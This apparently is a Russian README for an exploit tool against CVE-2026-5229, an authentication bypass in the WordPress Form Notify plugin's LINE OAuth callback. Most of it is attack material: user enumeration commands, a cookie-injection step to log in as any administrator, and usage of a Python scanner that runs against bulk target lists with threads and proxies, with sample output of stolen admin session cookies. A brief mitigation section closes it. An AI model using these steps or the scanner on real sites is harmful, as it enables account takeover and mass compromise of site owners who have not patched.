
CVE-2026-5229: Обход аутентификации Form Notify через LINE OAuth Callback (CVSS 9.8)
CVE-2026-5229: Form Notify Auth Bypass via LINE OAuth Callback (CVSS 9.8)
Плагин: Form Notify (
form-notify) Тип уязвимости: Неаутентифицированный обход аутентификации LINE OAuth → Захват учетной записи Оценка CVSS: 9.8 (критический) Вектор CVSS:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HЗатронутые версии: <= 1.1.10 Исправленная версия: 1.1.11+ Исследователь: Paolo Tresso — Wordfence
Плагин Form Notify — это плагин WordPress, который отправляет уведомления после отправки форм и предоставляет интеграцию LINE Login OAuth 2.0.
Уязвимость находится в обработчике обратного вызова LINE OAuth. После того как пользователь завершает поток авторизации LINE, плагин сопоставляет учетную запись WordPress только по адресу электронной почты. Он никогда не проверяет, была ли учетная запись LINE ранее связана с этой учетной записью WordPress.
| Версия | Уязвимость | Метод атаки |
|---|---|---|
| <= 1.1.08 | Внедрение cookie + сопоставление по email | Path A или Path B |
| 1.1.09 – 1.1.10 | Сопоставление по email (cookie удален) | Path B |
| 1.1.11+ | Исправлена | — |
Конечная точка обратного вызова LINE OAuth зарегистрирована как полностью общедоступная:
// src/APIs/Line/Login/Route.php
register_rest_route(
'form-notify/v1',
'/callback',
array(
'methods' => 'GET',
'callback' => array( $this, 'get_api_callback' ),
'permission_callback' => function () {
return true; // аутентификация не требуется
},
)
);
Nonce WordPress — это CSRF-токен, а не токен аутентификации. Любой посетитель может получить действительный nonce из HTML-кода страницы и пройти проверку.
// Route.php — строки 115–116
$has_real_email = ! empty( $user->email );
$user_email = $has_real_email ? $user->email : $user_raw_id . '@line.com';
// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
$this->user = get_user_by( 'email', $user_email ); // поиск только по email
if ( ! is_wp_error( $this->user ) && $this->user ) {
return true; // проверка связи ОТСУТСТВУЕТ
}
return false;
}
Если совпадение найдено, метод login() немедленно открывает сессию:
// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
if ( ! is_user_logged_in() ) {
wp_clear_auth_cookie();
wp_set_current_user( $this->user->ID );
wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
}
}
// Route.php (1.1.08) — строки 115–118
if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
$line_email = sanitize_text_field(
wp_unslash( $_COOKIE['form_notify_line_email'] )
);
}
$user_email = ( $user->email ) ? $user->email : $line_email;
Когда профиль LINE не возвращает email ($user->email пуст), плагин напрямую читает cookie браузера. Атакующий полностью контролирует эту cookie.
$session_state = get_transient( 'form_notify_line_state_' . $state );
if ( empty( $session_state ) ) {
// Если transient отсутствует, переходит к $_SESSION
$session_state = sanitize_text_field(
wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
);
set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}
Если срок действия transient истёк, срабатывает fallback на $_SESSION. В большинстве установок WordPress $_SESSION в этот момент не заполнен → проверку state можно обойти.
// метод sign_up()
$userdata = array(
'user_pass' => $user_email, // пароль = адрес email
...
);
В учетных записях, созданных через поток LINE OAuth, пароль совпадает с адресом email. Это напрямую позволяет проводить атаки перебором или вход в систему.
| Причина | Описание |
|---|---|
| Аутентификация не требуется | Конечная точка обратного вызова полностью общедоступна |
| Отсутствует проверка связи | Достаточно любой учетной записи LINE |
| Атака через cookie | В версии <= 1.1.08 email даже не требуется |
| Все учетные записи, включая администраторов | get_user_by('email') затрагивает всех |
| Слабая проверка state | Защита CSRF может быть обойдена |
| Email = Пароль | Учетные записи, созданные через OAuth, уязвимы для тривиального перебора |
⚠️ Отказ от ответственности: Данное PoC предоставляется только для образовательных целей и авторизованного тестирования безопасности. Тестирование систем без явного разрешения незаконно.
Предварительные условия:
TARGET="https://target.com"
# Список пользователей из REST API WordPress
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool
# Или страницы авторов
curl -s "$TARGET/?author=1" -I | grep Location
Откройте инструменты разработчика браузера и вставьте в консоль:
document.cookie = "[email protected]; path=/";
Или с помощью curl:
curl -v -b '[email protected]' \
"$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location
Откройте URL LINE OAuth из заголовка Location в браузере.
На экране согласия LINE не предоставляйте разрешение на email или используйте учетную запись LINE без email. LINE перенаправит на callback без email. Плагин переключится на cookie.
curl -s -b 'wordpress_logged_in_XXXX=...' \
"$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool
Ожидаемый ответ:
{
"id": 1,
"name": "admin",
"email": "[email protected]",
"roles": ["administrator"]
}
То же, что и Шаг 1 Path A.
На account.line.biz создайте учетную запись LINE с целевым email.
(Требуется подтверждение email — необходим доступ к почтовому ящику цели.)
https://target.com/wp-json/form-notify/v1/login
На экране согласия LINE предоставьте разрешение на email. LINE вернёт адрес email в callback.
Plugin: is_member('[email protected]')
→ get_user_by('email', '[email protected]')
→ Администратор найден
→ wp_set_auth_cookie(1)
→ Сессия открыта ✓
git clone https://github.com/kullanici/form-notify-bypass
cd form-notify-bypass
pip install -r requirements.txt
requirements.txt
requests
python form_notify_rce.py -u http://цель.com
python form_notify_rce.py -u http://цель.com \
--email admin@цель.com \
--path A
python form_notify_rce.py -u http://цель.com \
--email admin@цель.com \
--path B
python form_notify_rce.py -u http://цель.com \
--email admin@цель.com \
--path both
python form_notify_rce.py -l targets.txt -t 15 -o results.txt
python form_notify_rce.py -u http://цель.com \
--proxy http://127.0.0.1:8080
| Параметр | Сокращение | Описание | По умолчанию |
|---|---|---|---|
--url | -u | URL одиночной цели | — |
--list | -l | Файл со списком целей | — |
--threads | -t | Количество потоков | 10 |
--output | -o | Выходной файл | auth_bypass.txt |
--email | — | Email целевого пользователя | автоматическое обнаружение |
--path | — | Путь атаки (A / B / both) | both |
--max-users | — | Макс. пользователей на цель | 5 |
--proxy | — | URL прокси | — |
--timeout | — | Таймаут запроса (сек) | 10 |
| Состояние | Описание |
|---|---|
★ AUTH OK | Получена cookie сессии — полностью автоматически |
★ WP-ADMIN | Перенаправлен на /wp-admin |
~ MANUAL | URL OAuth готов, завершите в браузере |
~ PATH B | Ручные шаги с учетной записью LINE |
- NO_PLUGIN | Form Notify не установлен |
- NO_LINE | LINE Login не активен |
~ NO_TARGET | Email пользователя не найден |
~ UNREACH | Цель недоступна |
[*] 3 цели | Form Notify LINE OAuth Bypass | threads=10
[★ AUTH OK ] http://hedef1.com (Path A)
Hedef Email : [email protected]
Sürüm : 1.1.08
OAuth URL : https://access.line.me/oauth2/v2.1/authorize?...
Kullanıcı : admin <[email protected]> roles=['administrator']
Cookie : {'wordpress_logged_in_abc123': 'admin|...'}
[~ MANUAL ] http://hedef2.com (Path A — Manuel tamamlama)
Hedef Email : [email protected]
Cookie Set : [email protected]
OAuth URL : https://access.line.me/oauth2/v2.1/authorize?...
State : a1b2c3d4e5f6
[- NO_LINE ] http://hedef3.com (LINE Login aktif değil)
──────────────────────────────────────────────────────────────
DONE : 2
NO_LINE : 1
──────────────────────────────────────────────────────────────
Auth bypass → auth_bypass.txt
──────────────────────────────────────────────────────────────
| Мера | Реализация |
|---|---|
| Обновление плагина | Обновите Form Notify до версии 1.1.11+ |
| Проверка связи LINE | Сохраняйте LINE ID в мета-данные пользователя, проверяйте при каждом входе |
| Удаление fallback cookie | Удалите использование $_COOKIE['form_notify_line_email'] |
| Проверка state | Удалите fallback transient, отклоняйте истёкший state |
| Политика паролей | Не используйте email в качестве пароля в sign_up() |
| Защита конечной точки REST | Примените ограничение скорости к конечной точке callback |
Пример безопасного сопоставления учетной записи:
// Небезопасно (текущий)
$user = get_user_by( 'email', $line_email );
// Безопасно (рекомендуется)
$users = get_users( array(
'meta_key' => 'line_user_id',
'meta_value' => $line_user_id, // сопоставление по LINE ID
) );
form-notify-bypass/
├── form_notify_rce.py # Основной сканер
├── requirements.txt # Зависимости
└── README.md # Этот файл
Этот инструмент и PoC предназначены только для авторизованных систем, в образовательных целях и в рамках тестирования на проникновение. Использование на неавторизованных системах является преступлением согласно статьям 243-245 Уголовного кодекса Турции и международным законам о киберпреступности. Разработчик не несёт никакой юридической ответственности за неправомерное использование инструмента.
Лицензия MIT — Только для образовательных и исследовательских целей.